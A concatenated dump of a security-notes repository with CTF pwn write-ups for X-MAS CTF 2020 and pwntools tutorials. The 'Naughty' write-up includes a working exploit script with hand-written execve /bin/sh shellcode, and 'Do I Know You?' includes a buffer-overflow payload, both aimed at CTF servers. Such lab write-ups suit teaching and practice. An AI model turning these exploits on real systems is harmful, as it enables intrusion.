102 | # HTB{r0p_m3_if_y0u_c4n!}
103 | ```
104 |
105 |
--------------------------------------------------------------------------------
/hackthebox/dream-diary-1/README.md:
--------------------------------------------------------------------------------
1 | # Dream Diary 1
2 |
3 |
--------------------------------------------------------------------------------
/hackthebox/dream-diary-1/pwn/README.md:
--------------------------------------------------------------------------------
1 | # Pwn
2 |
3 |
--------------------------------------------------------------------------------
/hackthebox/dream-diary-1/pwn/do-i-know-you.md:
--------------------------------------------------------------------------------
1 | # Do I Know You?
2 |
3 | If we disassemble, the solution is pretty clear.
4 |
5 | ```text
6 | [...]
7 | | 0x55c00f08685d 4889c7 mov rdi, rax
8 | │ 0x55c00f086860 b800000000 mov eax, 0
9 | │ 0x55c00f086865 e846feffff call sym.imp.gets
10 | │ 0x55c00f08686a 488b55f0 mov rdx, qword [var_10h]
11 | │ 0x55c00f08686e b8efbeadde mov eax, 0xdeadbeef
12 | │ 0x55c00f086873 4839c2 cmp rdx, rax
13 | │ ┌─< 0x55c00f086876 7522 jne 0x55c00f08689a
14 | │ │ 0x55c00f086878 488d3de90000. lea rdi, str.X_MAS_Fake_flag...
15 | [...]
16 | ```
17 |
18 | `gets()` is used to take in input, then the contents of another local variable are compared to `0xdeadbeef`. Basic buffer overflow then overwrite a local variable:
19 |
20 | ```python
21 | from pwn import *
22 |
23 | elf = context.binary = ELF('./chall')
24 | p = remote('challs.xmas.htsp.ro', 2008)
25 |
26 | payload = b'A' * 32
27 | payload += p64(0xdeadbeef)
28 |
29 | p.sendlineafter('you?\n', payload)
30 | print(p.recvuntil('}'))
31 | ```
32 |
33 | `X-MAS{ah_yes__i_d0_rememb3r_you}`
34 |
35 |
--------------------------------------------------------------------------------
/hackthebox/dream-diary-1/pwn/naughty.md:
--------------------------------------------------------------------------------
1 | # Naughty
2 |
3 | ## Overview
4 |
5 | We receive a file called `chall`. NX is disabled, which is helpful. We inject shellcode, [use a `jmp rsp` gadget](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode#using-rsp) and execute our own shellcode.
6 |
7 | ## Decompilation
8 |
9 | `main()` is a fairly simple binary:
10 |
11 | ```c
12 | int main(int a1, char **a2, char **a3)
13 | {
14 | char input[46]; // [rsp+0h] [rbp-30h] BYREF
15 | __int16 check; // [rsp+2Eh] [rbp-2h]
16 |
17 | setvbuf(stdin, 0LL, 2, 0LL);
18 | setvbuf(stdout, 0LL, 2, 0LL);
19 |
20 | check = -6913;
21 | puts("Tell Santa what you want for XMAS");
22 | fgets(input, 71, stdin);
23 | puts("Nice. Hope you haven't been naughty");
24 | if ( check != -6913 )
25 | {
26 | puts("Oh no....no gifts for you this year :((");
27 | exit(0);
28 | }
29 | return 0LL;
30 | }
31 | ```
32 |
33 | The buffer is `48` bytes long. After the buffer there is 16-bit integer `check`, which acts as a canary. Then there are 8 bytes for the stored RBP. The total input it `71`, meaning after the stored RBP we have 13 bytes of overflow, **including the RIP**. No ROP is possible.
34 |
35 | Note that the value `-6913` is actually `0xe4ff`.
36 |
37 | This was rather misleading as they gave you the LIBC.
38 |
39 | ## Exploitation
40 |
41 | Firstly:
42 |
43 | ```python
44 | from pwn import *
45 |
46 | elf = context.binary = ELF('./chall', checksec=False)
47 |
48 | if args.REMOTE:
49 | p = remote('challs.xmas.htsp.ro', 2000)
50 | else:
51 | p = process()
52 |
53 | jump_rsp = 0x40067f
54 | ```
55 |
56 | Now we need some shellcode. pwntools' `shellcraft.sh()` is `2` bytes too long, so we'll have to make it manually.
57 |
58 | The general payload is as follows:
59 |
60 | * `/bin/sh\x00` so we have it in a known location \(relative to RSP\)
61 | * Shellcode
62 | * Padding
63 | * `0xe4ff` to overwrite the pseudo-canary
64 | * Padding
65 | * `jmp rsp`
66 |
67 | Now we need to decide _what_ shellcode we want to run. Well, since RSP points at the stack, we know that it will **always be a static offset off our buffer**. If we calculate it, we can just do
68 |
69 | ```text
70 | sub rsp, x
71 | jmp rsp
72 | ```
73 |
74 | And execute the other half of our code! And at this point RSP will be exactly `8` bytes off `/bin/sh\x00`, so we can use it to populate RDI as well!
75 |
76 | ```python
77 | exploit = b'/bin/sh\x00'
78 | exploit += asm('''
79 | xor rsi, rsi
80 | xor rdx, rdx
81 | lea rdi, [rsp-8]
82 | mov rax, 0x3b
83 | syscall
84 | ''') # rsi/rdx need to be null, rdi points at /bin/sh, rax execve syscall number
85 | exploit += b'A' * (46 - len(exploit)) # padding
86 | exploit += p16(0xe4ff)
87 | exploit += b'B' * 8
88 | exploit += p64(jump_rsp)
89 | exploit += asm('''
90 | sub rsp, 0x38
91 | jmp rsp
92 | ''') # RSP point to beginning of shellcode, use this to point RIP there
93 |
94 | p.sendline(exploit)
95 | p.interactive()
96 | ```
97 |
98 | `X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}`
99 |
100 |
--------------------------------------------------------------------------------
/hackthebox/dream-diary-1/web/README.md:
--------------------------------------------------------------------------------
1 | # Web
2 |
3 | Not really my forte, but here we go, I can only get better.
4 |
5 |
--------------------------------------------------------------------------------
/hackthebox/dream-diary-1/web/php-master.md:
--------------------------------------------------------------------------------
1 | # PHP Master
2 |
3 | Once we visit the URL, we are shown some code:
4 |
5 | ```php
6 |
23 | ```
24 |
25 | Clearly this is some type of [Type Juggling](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling) exploit, but I'm not that familiar with it except for `0e` md5 hashes and stuff. However, there are some restrictions here:
26 |
27 | * There can be no `e` character in either parameter
28 | * The two parameters must be the same length
29 | * They can't strictly equal each other \(`!==`\) but they must loosely equal each other \(`==`\)
30 |
31 | PHP comparision is a known piece of junk, so we can find some weaknesses using [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling).
32 |
33 | Once set of possible parameters is `01` and `1`, as they are both two characters long and - according to PHP's loose comparison - equal each other \(thanks to [**nrabulinski** ](https://github.com/nrabulinski)for this solution after the CTF\). It appears that objetcs are automatically **converted to numbers** for loose comparisions, as loose only compares _values_ while strict _also compares types_. Therefore the example above would both equal `1` under loose comparison.
34 |
35 | Another, more interesting set is `200` and `2E3` \(thanks to [03sunf](https://gist.github.com/03sunf/ada95212b624d9354b9f9cc46b14f387)\). Note that `2E3` is an **exponential**, equivalent to `2 * 10^2`. Once both are converted to integers, they pass the check.
36 |
37 |
--------------------------------------------------------------------------------
/hackthebox/x-mas-ctf-2020.md:
--------------------------------------------------------------------------------
1 | # X-MAS CTF 2020
2 |
3 | I didn't manage to solve a huge number of these - I was quite busy, plus I suck - but I'll dump some writeups here for those I caught up on later.
4 |
5 |
--------------------------------------------------------------------------------
/hosting-a-testnet-and-deploying-a-contract.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Using Foundry to start a local testnet and deploy a Solidity contract.
3 | ---
4 |
5 | # Hosting a Testnet and Deploying a Contract
6 |
7 | ## Foundry
8 |
9 | We use [Foundry](https://github.com/foundry-rs/foundry) for this.
10 |
11 | ## Developing a Contract
12 |
13 | ```
14 | $ forge init
15 | ```
16 |
17 | in the desired folder.
18 |
19 | ## Starting a Testnet
20 |
21 | ```
22 | anvil
23 | ```
24 |
25 | This will give you an RPC URL, plus 10 accounts and their private keys.
26 |
27 | ## Deploying a Contract
28 |
29 | ```
30 | forge create --rpc-url 127.0.0.1:8545 src/Counter.sol:Counter --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 --broadcast
31 | ```
32 |
33 | * The RPC URL should be the one provided by `anvil`
34 | * `src/Counter.sol` is the file path to the smart contract's Solidity source code
35 | * `Counter` is the name of the smart contract
36 | * `--private-key` is one of the private keys displayed by `anvil`
37 | * `--broadcast` broadcasts the deployment of the transaction
38 |
39 | ```
40 | Deployer: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
41 | Deployed to: 0x5FbDB2315678afecb367f032d93F642f64180aa3
42 | Transaction hash: 0x9c43e48790455815acecf9e5ae2a835daac756fe3f8164eb1a294bf7a768e00e
43 | ```
44 |
45 | Without the `--broadcast`, foundry will do a "dry run" - simulate the contract's execution without actually deploying it. Broadcasting it will return an address!
46 |
47 | ## Interacting with the Contract
48 |
49 | We can increment the counter as follows:
50 |
51 | ```
52 | $ cast send 0x5FbDB2315678afecb367f032d93F642f64180aa3 "increment()" --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 --rpc-url 127.0.0.1:8545
53 |
54 | blockHash 0x85443db3aa3b5761016586e3cb720b28fda0819f179a9ed4f7b45b12fe849695
55 | blockNumber 2
56 | contractAddress
57 | cumulativeGasUsed 43517
58 | effectiveGasPrice 876013326
59 | from 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
60 | gasUsed 43517
61 | logs []
62 | logsBloom 0x00[...]
63 | root
64 | status 1 (success)
65 | transactionHash 0x35d8a6b48a3cef67a9301b6c4d818b294e6ad1eac7e219870d9afd49e3984265
66 | transactionIndex 0
67 | type 2
68 | blobGasPrice 1
69 | blobGasUsed
70 | authorizationList
71 | to 0x5FbDB2315678afecb367f032d93F642f64180aa3
72 | ```
73 |
74 | `cast send` is used for transactions that **write to the blockchain**, and therefore **require signing**.
75 |
76 | `getCounter()` is a `view` function, so does not require a transaction to call. We use `cast call` instead, which does not requires a private key:
77 |
78 | ```
79 | $ cast call 0x5FbDB2315678afecb367f032d93F642f64180aa3 "getCounter()" --rpc-url 127.0.0.1:8545
80 | 0x0000000000000000000000000000000000000000000000000000000000000001
81 | ```
82 |
83 | And we see it returns the value `1`! If we `cast send` another increment call and then `cast call` to read the counter again, we see it's incremented again:
84 |
85 | ```
86 | $ cast call 0x5FbDB2315678afecb367f032d93F642f64180aa3 "getCounter()" --rpc-url 127.0.0.1:8545
87 | 0x0000000000000000000000000000000000000000000000000000000000000002
88 | ```
89 |
--------------------------------------------------------------------------------
/misc/cross-compiling-for-arm32.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Absolute pain
3 | ---
4 |
5 | # Cross-Compiling for arm32
6 |
7 | ## Basic Compilation
8 |
9 | Install [GCC multilib](https://stackoverflow.com/questions/54082459/fatal-error-bits-libc-header-start-h-no-such-file-or-directory-while-compili) and the [arm32 cross-platform toolchain](https://askubuntu.com/questions/250696/how-to-cross-compile-for-arm)
10 |
11 | ```bash
12 | sudo apt-get install gcc-multilib gcc-arm-linux-gnueabihf
13 | ```
14 |
15 | [Add the `CC` variable to the `Makefile`](https://askubuntu.com/questions/250696/how-to-cross-compile-for-arm) for `gcc`:
16 |
17 | ```
18 | CC=arm-linux-gnueabihf-gcc
19 | ```
20 |
21 | ### Compiling Libraries (seccomp)
22 |
23 | Extra step required. We have to [add the architecture](https://forums.debian.net/viewtopic.php?t=138023), then update to get the packages:
24 |
25 | ```bash
26 | sudo dpkg --add-architecture armhf
27 | sudo apt-get update
28 | ```
29 |
30 | Finally, install `libseccomp-dev` for `armhf`:
31 |
32 |
sudo apt-get install libseccomp-dev:armhf
33 |
34 |
--------------------------------------------------------------------------------
/misc/pwntools/README.md:
--------------------------------------------------------------------------------
1 | # pwntools
2 |
3 | This Section is a run-through of the most useful features in python's `pwntools` library.
4 |
5 |
--------------------------------------------------------------------------------
/misc/pwntools/elf.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | tags: pwn
4 | categories: pwntools
5 | ---
6 |
7 | # ELF
8 |
9 | The pwntools `ELF` class is the most useful class you will probably ever need, so understanding the full power of it _will_ make your life easier. Essentially, the `ELF` class allows you to look up variables at runtime and stop hardcoding.
10 |
11 | ## Creating an ELF object
12 |
13 | Creating an ELF object is very simple.
14 |
15 | ```python
16 | elf = ELF('./vulnerable_program')
17 | ```
18 |
19 | ## Getting a process
20 |
21 | Rather than specifying another process, we can just get it from the `ELF`:
22 |
23 | ```python
24 | p = elf.process()
25 | ```
26 |
27 | ## The PLT and GOT
28 |
29 | Want to do a `ret2plt`? Easy peasy.
30 |
31 | ```python
32 | puts_plt = elf.plt['puts']
33 | puts_got = elf.got['puts']
34 | ```
35 |
36 | ## Functions
37 |
38 | Need to return to a function called `vuln`? Don't bother using a disassembler or debugger to find where it is.
39 |
40 | ```python
41 | main_address = elf.functions['vuln']
42 | ```
43 |
44 | Note that `elf.functions` returns a `Function` object, so if you only want the address you can use `elf.symbols`:
45 |
46 | ```python
47 | main_address = elf.symbols['symbol']
48 | ```
49 |
50 | ## elf.libc
51 |
52 | When local, we can grab the `libc` the binary is running with. Easy peasy.
53 |
54 | ```python
55 | libc = elf.libc
56 | ```
57 |
58 | ## elf.search\(needle, writable=False\)
59 |
60 | Search the entire binary for a specific sequence `needle` of characters. Very useful when trying to do a `ret2libc`. If `writable` is set it only checks for sections in memory that you can write to. Note this returns a **generator** so if you want the first match you have to enclose it in `next()`.
61 |
62 | ```python
63 | binsh = next(libc.search(b'/bin/sh\x00'))
64 | ```
65 |
66 | ## elf.address
67 |
68 | `elf.address` is the base address of the binary. If the binary does not have PIE enabled, then it's absolute; if it does, all addresses are relative \(they pretend the binary base is `0x0`\).
69 |
70 | Setting the `address` value automatically updates the address of `symbols`, `got`, `plt` and `functions`, which makes it invaluable when adjusting for PIE or ASLR.
71 |
72 | Let's say you leak the base address of `libc` while ASLR is enabled; with pwntools, it's ridiculously easy to get the location of `system` for a `ret2libc`.
73 |
74 | ```python
75 | libc = elf.libc
76 | libc.address = 0xf7f23000 # You 'leaked' this
77 |
78 | system = libc.symbols['system']
79 | binsh = next(libc.search(b'/bin/sh\x00'))
80 | exit_addr = libc.symbols['exit']
81 |
82 | # Now you can do the ret2libc
83 | ```
84 |
85 |
--------------------------------------------------------------------------------
/misc/pwntools/introduction.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: Introduction to Pwntools
4 | tags: pwn
5 | categories: pwntools
6 | ---
7 |
8 | # Introduction
9 |
10 | ## Pwntools
11 |
12 | Pwntools is an immensely powerful framework used primarily for binary exploitation, but I have also used it for an challenges that require sockets due to how simplified such interactions are with it.
13 |
14 | Here we will be using the **python** version of pwntools, though there is also a Ruby version.
15 |
16 | ## Installation
17 |
18 | The installation is as simple as it can be with python.
19 |
20 | ```python
21 | pip3 install pwntools
22 | ```
23 |
24 | ## Windows
25 |
26 | Unfortunately many features of pwntools are not available on Windows as it uses the `_curses` module, which is not available for Windows.
27 |
28 |
--------------------------------------------------------------------------------
/misc/pwntools/logging_and_context.md:
--------------------------------------------------------------------------------
1 | ---
2 | tags: pwn
3 | categories: pwntools
4 | ---
5 |
6 | # Logging and Context
7 |
8 | ## Logging
9 |
10 | Logging is a very useful feature of pwntools that lets you know where in your code you've gotten up to, and you can log in different ways for different types of data.
11 |
12 | ### log.info(text)
13 |
14 | ```
15 | >>> log.info('Binary Base is at 0x400000')
16 | [*] Binary Base is at 0x400000
17 | ```
18 |
19 | ### log.success(text)
20 |
21 | ```
22 | >>> log.success('ASLR bypassed! Libc base is at 0xf7653000')
23 | [+] ASLR bypassed! Libc base is at 0xf7653000
24 | ```
25 |
26 | ### log.error(text)
27 |
28 | ```
29 | >>> log.success('The payload is too long')
30 | [-] The payload is too long
31 | ```
32 |
33 | ## Context
34 |
35 | `context` is a 'global' variable in pwntools that allows you to set certain values once and all future functions automatically use that data.
36 |
37 | ```python
38 | context.arch = 'i386'
39 | context.os = 'linux'
40 | context.endian = 'little'
41 | context.bits = 64
42 | ```
43 |
44 | Now every time you generate shellcode or use the `p64()` and `u64()` functions it will be specifically designed to use the `context` variables, meaning it will _just work_. The power of pwntools.\
45 | \
46 |
47 |
48 | If you think that's a lot of setup, make it even simpler.
49 |
50 | ```python
51 | context.binary = './vulnerable_binary'
52 | ```
53 |
54 | This enables you to do a lot more things as well - for example, if you run
55 |
56 | ```python
57 | p = process()
58 | ```
59 |
60 | it will automatically use the `context` binary and you will not have to specify it again.
61 |
--------------------------------------------------------------------------------
/misc/pwntools/packing.md:
--------------------------------------------------------------------------------
1 | ---
2 | tags: pwn
3 | categories: pwntools
4 | ---
5 |
6 | # Packing
7 |
8 | Packing with the in-built python `struct` module is often a pain with loads of unnecessary options to remember. pwntools makes this a breeze, using the `context` global variable to automatically calculate how the packing should work.
9 |
10 | ## p64(addr)
11 |
12 | Packs `addr` depending on `context`, which by default is **little-endian**.\
13 |
14 |
15 | ```python
16 | p64(0x04030201) == b'\x01\x02\x03\x04'
17 |
18 | context.endian = 'big'
19 | p64(0x04030201) == b'\x04\x03\x02\x01'
20 | ```
21 |
22 | {% hint style="info" %}
23 | `p64()` returns a bytes-like object, so you'll have to form your padding as `b'A'` instead of just `'A'`.
24 | {% endhint %}
25 |
26 | ## u64(data)
27 |
28 | Unpacks `data` depending on `context`; exact opposite of `p64()`.
29 |
30 | ## flat(\*args)
31 |
32 | Can take a bunch of arguments and packs them all according to `context`. The full functionality is quite [complex](http://docs.pwntools.com/en/stable/util/packing.html#pwnlib.util.packing.flat), but essentially:
33 |
34 | ```python
35 | payload = flat(
36 | 0x01020304,
37 | 0x59549342,
38 | 0x12186354
39 | )
40 | ```
41 |
42 | is equivalent to
43 |
44 | ```python
45 | payload = p64(0x01020304) + p64(0x59549342) + p64(0x12186354)
46 | ```
47 |
48 | {% hint style="danger" %}
49 | `flat()` uses `context`, so unless you specify that it is 64 bits it will attempt to pack it as 32 bits.
50 | {% endhint %}
51 |
--------------------------------------------------------------------------------
/misc/pwntools/processes_and_communication.md:
--------------------------------------------------------------------------------
1 | ---
2 | tags: pwn
3 | categories: pwntools
4 | ---
5 |
6 | # Processes and Communication
7 |
8 | ## Processes
9 |
10 | A `process` is the main way you interact with something in pwntools, and starting one is easy.
11 |
12 | ```python
13 | p = process('./vulnerable_binary')
14 | ```
15 |
16 | You can also start **remote** processes and connect to sockets using `remote`:
17 |
18 | ```python
19 | p = remote('my.special.ip', port)
20 | ```
21 |
22 | ## Sending Data to Processes
23 |
24 | The power of `pwntools` is incredibly simple communication with your processes.
25 |
26 | ### p.send(data)
27 |
28 | Sends `data` to the process. Data can either be a `string` or a `bytes-like object` - pwntools handles it all for you.
29 |
30 | ### p.sendline(data)
31 |
32 | Sends `data` to the process, followed by a **newline character** `\n`. Some programs require the `\n` to take in the input (think about how you need to hit the enter key to send the data with `nc`) while others don't.
33 |
34 | `p.sendline(data)` is equivalent to `p.send(data + '\n')`\
35 |
36 |
37 | {% hint style="danger" %}
38 | An incorrect number of these may cause your exploit to stall when there's nothing wrong with it. This should be the first thing you check. If you're uncertain, use `p.clean()` instead.
39 | {% endhint %}
40 |
41 | ## Receiving Data From Processes
42 |
43 | ### p.recv(numb)
44 |
45 | Receives `numb` bytes from the process.
46 |
47 | ### p.recvuntil(delimiter, drop=False)
48 |
49 | Receives all the data until it encounters the `delimiter`, after which it returns the data. If `drop` is `True` then the returned data does not include the `delimiter`.
50 |
51 | ### p.recvline(keepends=True)
52 |
53 | Essentially equivalent to `p.recvuntil('\n', drop=keepends)`.\
54 | Receives up until a `\n` is reached, then returns the data including the `\n` if `keepends` is `True`.
55 |
56 | ### p.clean(timeout=0.02)
57 |
58 | Receives **all** data for `timeout` seconds and returns it. Another similar function is `p.recvall()`, but this regularly takes far too long to execute so `p.clean()` is much better.
59 |
60 | ### Timeout
61 |
62 | All receiving functions all contain a `timeout` parameter as well as the other listed ones.\
63 | For example, `p.recv(numb=16, timeout=1)` will execute but if `numb` bytes are not received within `timeout` seconds the data is buffered for the next receiving function and an empty string `''` is returned.
64 |
--------------------------------------------------------------------------------
/misc/pwntools/rop.md:
--------------------------------------------------------------------------------
1 | # ROP
2 |
3 | The `ROP` class is insanely powerful, enabling you to create readable ropchains in many less lines.
4 |
5 | ## Creating a ROP object
6 |
7 | ```python
8 | rop = ROP(elf)
9 | ```
10 |
11 | ## Adding Padding
12 |
13 | ```python
14 | rop.raw('A' * 64)
15 | ```
16 |
17 | ## Adding a Packed Value
18 |
19 | ```python
20 | rop.raw(0x12345678)
21 | ```
22 |
23 | ## Calling the Function win\(\)
24 |
25 | ```python
26 | rop.win()
27 | ```
28 |
29 | And if you need parameters:
30 |
31 | ```python
32 | rop.win(0xdeadc0de, 0xdeadbeef)
33 | ```
34 |
35 | ## Dumping the Logic
36 |
37 | ```python
38 | from pwn import *
39 |
40 | elf = context.binary = ELF('./showcase')
41 | rop = ROP(elf)
42 |
43 | rop.win1(0x12345678)
44 | rop.win2(0xdeadbeef, 0xdeadc0de)
45 | rop.flag(0xc0ded00d)
46 |
47 | print(rop.dump())
48 | ```
49 |
50 | `dump()` output:
51 |
52 | ```text
53 | 0x0000: 0x40118b pop rdi; ret
54 | 0x0008: 0x12345678 [arg0] rdi = 305419896
55 | 0x0010: 0x401102 win1
56 | 0x0018: 0x40118b pop rdi; ret
57 | 0x0020: 0xdeadbeef [arg0] rdi = 3735928559
58 | 0x0028: 0x401189 pop rsi; pop r15; ret
59 | 0x0030: 0xdeadc0de [arg1] rsi = 3735929054
60 | 0x0038: 'oaaapaaa'
61 | 0x0040: 0x40110c win2
62 | 0x0048: 0x40118b pop rdi; ret
63 | 0x0050: 0xc0ded00d [arg0] rdi = 3235827725
64 | 0x0058: 0x401119 flag
65 | ```
66 |
67 | ## Sending the Chain
68 |
69 | ```python
70 | p.sendline(rop.chain())
71 | ```
72 |
73 | ## Showcase
74 |
75 | Without pwntools:
76 |
77 | ```python
78 | payload = flat(
79 | POP_RDI,
80 | 0xdeadc0de,
81 | elf.sym['win1'],
82 | POP_RDI,
83 | 0xdeadbeef,
84 | POP_RSI,
85 | 0x98765432,
86 | elf.sym['win2'],
87 | POP_RDI,
88 | 0x54545454,
89 | elf.sym['flag']
90 | )
91 |
92 | p.sendline(payload)
93 | ```
94 |
95 | With pwntools:
96 |
97 | ```python
98 | rop.win1(0xdeadc0de)
99 | rop.win2(0xdeadbeef, 0x98765432)
100 | rop.flag(0x54545454)
101 |
102 | p.sendline(rop.chain())
103 | ```
104 |
105 |
--------------------------------------------------------------------------------
/misc/scanf-bypasses.md:
--------------------------------------------------------------------------------
1 | # scanf Bypasses
2 |
3 | Sometimes you want `scanf` to not read anything, but continue standard execution. By this I mean that it **takes** your input, but it doesn't store it in memory, leaving the stack or heap untouched.
4 |
5 | This might be because you have a sequential or iterative OOB write, but there is a canary in the way. Alternatively, the location you are writing to is **uninitialized** but the data gets printed back and you want to leak pointers this way (e.g. [Control Room](https://app.hackthebox.com/challenges/Control%20Room) on Hack The Box).
6 |
7 | So, here are a few inputs for different specifiers that help bypass this! Please do let me know of any more.
8 |
9 |
Scanf Specifier
Bypass
%d, %ld
negative sign -
%f, %lf
decimal point/full stop .
10 |
--------------------------------------------------------------------------------
/rev/c++-decompilation-tricks.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: How decompilers do stuff
3 | ---
4 |
5 | # C++ Decompilation Tricks
6 |
7 | These tricks include notes for Binary Ninja, but IDA looks similar (and I'm sure GHidra does too).
8 |
9 | Example code:
10 |
11 | ```cpp
12 | char rax_3 = *std::vector::operator[](&vector, sx.q(j))
13 | *std::vector::operator[](&vector, sx.q(j)) = *std::string::operator[](arg1, other: j) ^ rax_3
14 | ```
15 |
16 | Looks really bizarre and overwhelming, but look at the words. `std::vector::operator[]` literally means the operator `[]`, the subscript operator. It wants the subscript of the first parameter, with the second parameter being the argument. So
17 |
18 | ```cpp
19 | std::vector::operator[](&vector, sx.q(j))
20 | ```
21 |
22 | Is really just
23 |
24 | ```cpp
25 | vector[j]
26 | ```
27 |
28 | Also, if it doesn't make sense, change types to add extra arguments! Detection is pretty trash, and it might help a lot.
29 |
30 | A non-exhaustive list is:
31 |
32 |
Decompilation
Meaning
Parameter(s)
std::T::~T
Destructor of class T
T*
std::vector<T>::operator[](&vector, sx.q(j))
vector[j]
T*, int64_t
33 |
--------------------------------------------------------------------------------
/rev/reverse-engineering-arm.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | Just a ragged collection of notes before I do anything proper - do not take
4 | this as gospel! I am doing ARM reversing on my M1 MacBook for fun...
5 | ---
6 |
7 | # Reverse Engineering ARM
8 |
9 | ARM works a bit differently to intel x86 architecture in the way it uses registers and how instructions are formed.
10 |
11 | ## Registers
12 |
13 | * `SP` - Stack Pointer (same as ESP - points to top of the stack)
14 | * `x29` - the Frame Pointer, `FP`, points to the base of the current functions stack frame (similar to EBP)
15 | * `x30` - the Link Register, `LR`, which stores the return address of a function (the return pointer)
16 | * `PC` - the Program Counter (aka Instruction Pointer) pointing to the next
17 |
18 | The calling convention in ARM works similarly to x86:
19 |
20 | ```
21 | // drop down SP
22 | sub sp, sp, 0x20
23 |
24 | // Save FP and LR to the stack
25 | stp x29, x30, [var_10h]
26 |
27 | // Set up a new stack frame by updating x29 to SP+0x10
28 | add x29, sp, 0x10
29 |
30 | // ... function execution ...
31 |
32 | // Restore FP and LR
33 | ldp X29, X30, [SP], [var_10h]
34 |
35 | // Return
36 | ret
37 | ```
38 |
39 | Even though it does roughly the same stuff, there are a few differences between x86 and ARM64.
40 |
41 | Firstly, a lot of instructions take 3 parameters now:
42 |
43 | ```
44 | sub sp, sp, 0x20
45 | ```
46 |
47 | The first parameter here (as well as for other functions such as `add`) is the register to store the result in. In x86, we assume that the first register that we are adding also stores the result, but ARM makes it explicit.
48 |
49 | The `stp` instruction has no direct x86 equivalent (as far as I am aware!). Essentially, the first two parameters provide registers and the third parameter tells it where in. memory to save the values. For example, the following instruction stores `x29` and `x30` to memory location `var_10h`:
50 |
51 | ```
52 | stp x29, x30, [var_10h]
53 | ```
54 |
55 | {% hint style="warning" %}
56 | I'm not really sure what `var_10h` refers to - Cutter says\
57 | `var_10h @ stack - 0x10`\
58 | but I don't know exactly what it uses as a reference point - todo moment...
59 | {% endhint %}
60 |
61 | Finally, the `ret` instruction is executed. `ret` transfers the value in `x30` (`LR`) to `PC` to return execution to the next instruction after the call to the function.
62 |
--------------------------------------------------------------------------------
/rev/strings-in-c++.md:
--------------------------------------------------------------------------------
1 | # Strings in C++
2 |
3 | ## Basic Strings
4 |
5 | Reversing C++ can be a pain, and part of the reason for that is that in C++ a `std::string` can be dynamically-sized. This means its appearance in memory is more complex than a `char[]` that you would find in C, because `std::string` [actually contains 3 fields](https://shaharmike.com/cpp/std-string/):
6 |
7 | * Pointer to the allocated memory (the actual string itself)
8 | * Logical size of string
9 | * Size of allocated memory (which must be bigger than or equal to logical size)
10 |
11 | The actual string content is dynamically allocated on the **heap**. As a result, `std::string` looks something like this in memory:
12 |
13 | ```cpp
14 | class std::string
15 | {
16 | char* buf;
17 | size_t len;
18 | size_t allocated_len;
19 | };
20 | ```
21 |
22 | This is not necessarily a _consistent_ implementation, which is why many decompilers don't recognise strings immediately - they can vary between compilers and different versions.
23 |
24 | ## Small Object Optimization
25 |
26 | Decompilers can confuse us even more depending on how they optimise small objects. Simply put, we would prefer to avoid allocating space on the heap unless absolutely necessary, so if the string is short enough, we try to fit it within the `std::string` struct itself. For example:
27 |
28 | ```cpp
29 | class std::string
30 | {
31 | char* buf;
32 | size_t len;
33 |
34 | // union is used to store different data types in the same memory location
35 | // this saves space in case only one of them is necessary
36 | union
37 | {
38 | size_t allocated_len;
39 | char local_buf[8];
40 | };
41 | };
42 | ```
43 |
44 | In this example, if the string is 8 bytes or less, `local_buf` is used and the string is stored there instead. `buf` will then point at `local_buf`, and no heap allocation is used.
45 |
46 | An analysis of different compilers' approaches to Small Object Optimization can be found [here](https://shaharmike.com/cpp/std-string/).
47 |
--------------------------------------------------------------------------------
/smart-contracts-and-solidity.md:
--------------------------------------------------------------------------------
1 | # Smart Contracts and Solidity
2 |
3 | TODO - an explanation of what smart contrats are
4 |
5 | ## Contract Source
6 |
7 | ```solidity
8 | // SPDX-License-Identifier: MIT
9 | pragma solidity ^0.8.13;
10 |
11 | contract Counter {
12 | uint256 private counter;
13 |
14 | constructor() {
15 | counter = 0;
16 | }
17 |
18 | function increment() external {
19 | counter += 1;
20 | }
21 |
22 | function getCounter() external view returns (uint256) {
23 | return counter;
24 | }
25 | }
26 | ```
27 |
--------------------------------------------------------------------------------
/types/heap/double-free/exploiting-a-double-free.md:
--------------------------------------------------------------------------------
1 | # Exploiting a Double-Free
2 |
3 |
--------------------------------------------------------------------------------
/types/stack/got-overwrite.md:
--------------------------------------------------------------------------------
1 | # GOT Overwrite
2 |
3 | TODO
4 |
5 |
--------------------------------------------------------------------------------
/types/stack/reliable-shellcode.md:
--------------------------------------------------------------------------------
1 | # Reliable Shellcode
2 |
3 | TODO
4 |
5 |
--------------------------------------------------------------------------------
/types/stack/ret2csu.md:
--------------------------------------------------------------------------------
1 | # ret2csu
2 |
3 | TODO
4 |
5 |
--------------------------------------------------------------------------------
/types/stack/stack-pivoting.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Lack of space for ROP
3 | ---
4 |
5 | # Stack Pivoting
6 |
7 | TODO
8 |
9 |
--------------------------------------------------------------------------------
/types/stack/unusual-techniques/untitled.md:
--------------------------------------------------------------------------------
1 | # ret2dlresolve
2 |
3 |
--------------------------------------------------------------------------------
/writeups/ctfs/README.md:
--------------------------------------------------------------------------------
1 | # CTFs
2 |
3 |
--------------------------------------------------------------------------------
/writeups/ctfs/fword-ctf-2020/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: 'https://ctftime.org/event/1066'
3 | ---
4 |
5 | # Fword CTF 2020
6 |
7 | {% hint style="warning" %}
8 | I did not solve the vast majority of challenges I am writing up here, but instead I am doing it to consolidate my own understanding of it. I also hope the writeups you find here help you understand the challenge, and if they did then it's fulfilled it's purpose and whether or not I originally completed them is irrelevant :\)
9 | {% endhint %}
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/writeups/ctfs/fword-ctf-2020/binary-exploitation/README.md:
--------------------------------------------------------------------------------
